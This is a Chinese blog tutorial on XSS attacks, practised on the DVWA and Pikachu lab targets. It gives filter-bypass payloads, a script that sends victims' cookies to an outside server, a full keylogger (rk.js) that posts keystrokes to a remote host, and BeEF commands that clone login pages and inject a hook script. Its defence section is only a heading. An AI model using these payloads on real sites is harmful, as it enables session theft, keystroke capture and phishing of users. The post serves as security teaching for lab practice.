• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

loay

  • 博客园
  • 联系
  • 订阅
  • 管理

View Post

XSS漏洞攻防

XSS漏洞攻防

XSS基本概念

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混 淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意JavaScript代码,当用户浏览该页 面时,嵌入Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击。

  1. 能插入到web页面 --输入

    <script>alert(1)</script>
    
    
  2. 插入的js代码能被解析 --输出

在Web页面上,有一种很常见的功能是将用户输入的内容输出到页面上。但是如果这里输入的内容是一 段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。 通过构造其他相应的代码,攻击者可以执行更具危害的操作。

XSS分类

反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务 器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS主要是GET类型。

image-20230219174657722

image-20230219175159136

恶意js语句,连接黑客服务器

影响单一用户

存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论,将恶意代码和正文都存入服务器的数据库。 每次访问都会触发恶意代码。 例如: alert(/xss/)

影响众多用户

登录的状态下

image-20230219174737549

dom型

image-20230219175627935

文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或 脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。

DOM型XSS其实是一种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM文档对象模型的一种 漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS靠 的是浏览器的DOM解析,完全是客户端的事情。

DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通 过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的 数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有 经过严格的验证,便会产生基于DOM的XSS漏洞。

基于DOM的XSS是反射型的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取 出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其 他防护检测不出恶意内容。

手工测试

这里我们选取DVWA靶场进行手工测试

反射 XSS

Low

用
<script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>

image-20230219183153746

即可触发XSS

img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。想 要在某个标签中运用事件,先去查询一下该标签是否支持对应事件。

DOM XSS

反弹cookie

http://43.136.41.84:8080/vulnerabilities/xss_r/?name=

image-20230219184952469

<script>var img=document.createElement("img");img.src=alert(document.cookie);
</script>


<script>
var  img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);
</script>

medium

image-20230219185125027

发现<script>标签被过滤了,尝试使用大小写混淆或者双写绕过:
大小写混淆:<ScRipt>alert(/xss/)</script>
双写绕过:<sc<script>ript>alert(/xss/)</script>
其他标签:<img src=x OnerrOr=alert(/xss/)>

High

过滤了 <script

image-20230219185628348

在线正则表达式:https://c.runoob.com/front-end/854/

使用其他标签:<img src=x OnerrOr=alert(/xss/)>

存储 XSS

low

image-20230219190353622

medium

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:单引号(') 双引号(") 反斜杠(\) NULL

image-20230219190259268

<sc<script>ript>alert(document.cookie)</script>



  1. 可以使用burpsuite抓包修改

    image-20230219191917152

  2. 鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我 这里修改为 1000

与high方法相同

high

鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我 这里修改为 10000

<img src=## onerror=alert(document.cookie)>

image-20230219191358865

XSS盲打

Pikachu安装

docker pull area39/pikachu

XSS盲打是一种攻击场景,也是属于存储型XSS类型。 盲打的意思是无法直接在前端看到反馈效果,只有后台能看到输入的内容,从前端无法判断是否存在 XSS,这种情况下,我们直接往里面插入XSS代码,然后等待,当管理员查看时就会遭到xss攻击。 输入常规的payload,点击提交

<script>alert(/xss/)</script>

<img src=## onerror=alert(document.cookie)>

image-20230219193204887

后台地址是http://your_ip/vul/xss/xssblind/admin_login.php,

XSS键盘记录

docker rm $(docker ps -a -q)
docker run -d -p 8081:80 -p 33061:3306 --name pikachu  area39/pikachu   

查看pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js

docker exec -it pikachu bash

root@7ac17f313339:/# cd /var/www/html/pkxss/rkeypress/
root@7ac17f313339:/var/www/html/pkxss/rkeypress# ls
pkxss_keypress_result.php  rk.js  rkserver.php

rk.js

/**
 * Created by runner on 2018/7/8.
 */

function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;//记录按键

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://43.136.41.84:8085 /pkxss/rkeypress/rkserver.php",true);
    //使用php脚本接收键盘记录的结果,测试时需修改访问地址
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);//发送postdate

此处我们修改为 43.136.41.84:8085

将

image-20230219194057434

改为

image-20230219194604522

在存储型XSS模块输入payload

(插入rk.js)

<script src="http://43.136.41.84:8081/pkxss/rkeypress/rk.js"></script>


cat rkserver.php

oot@7ac17f313339:/var/www/html/pkxss/rkeypress# cat rkserver.php 
<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);


?>

image-20230219201341370

XSS平台利用—获取cookie

root@7ac17f313339:/var/www/html/pkxss# cd xcookie/
root@7ac17f313339:/var/www/html/pkxss/xcookie# ls
cookie.php  pkxss_cookie_result.php  post.html
root@7ac17f313339:/var/www/html/pkxss/xcookie# cat cookie.php 
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

?>root@7ac17f313339:/var/www/html/pkxss/xcookie# pwd
/var/www/html/pkxss/xcookie
root@7ac17f313339:/var/www/html/pkxss/xcookie# 

前台XSS盲打攻击获取cookie

image-20230219201755233

前台XSS盲打攻击获取cookie,XSS盗取cookie payload

// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参
数为 document.cookie
<script>document.write('<img src="http://43.136.41.84:8081/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>

image-20230220103643628

Beef-XSS

BeEF(Browser Exploitation Framework)是一款非常强大的Web框架攻击平台,集成了许多 payload,可以通过XSS漏洞配合JavaScript脚本和Metasploit进行渗透。基于Ruby语言编写,并且支持 图形化界面,操作简单。

(95条消息) kali安装beef_归去来兮-zangcc的博客-CSDN博客_kali beef

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com", "mount":"/clone_site"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=f7f46b1e44547a5f4fe326806c6a55c31f47e5b2

http://192.168.226.133:3000/clone_site

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://43.136.41.84:8081/vul/xss/xsspost/post_login.php", "mount":"/pikachu_magedu"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=d4d4ab216737a87dd8d4eeaaebb86b8ab07d7472


http://192.168.226.133:3000/pikachu_magedu

image-20230220130953394

使用beef克隆 pikachu 平台的”XSS之盲打“页面获取cookie

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://43.136.41.84:8081/vul/xss/xssblind/xss_blind.php", "mount":"/blind"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=d4d4ab216737a87dd8d4eeaaebb86b8ab07d7472
<script src="http://192.168.226.133:3000/hook.js"></script>

image-20230220133402248

image-20230220133637604

XSS防御绕过

在实际的网站中,或多或少都会做一些安全措施去防御XSS漏洞的攻击,但是这些安全措施也存在方 法、逻辑不严谨的情况,可以被绕过。

XSS安全防御

posted on 2023-02-27 12:28  loay  阅读(336)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3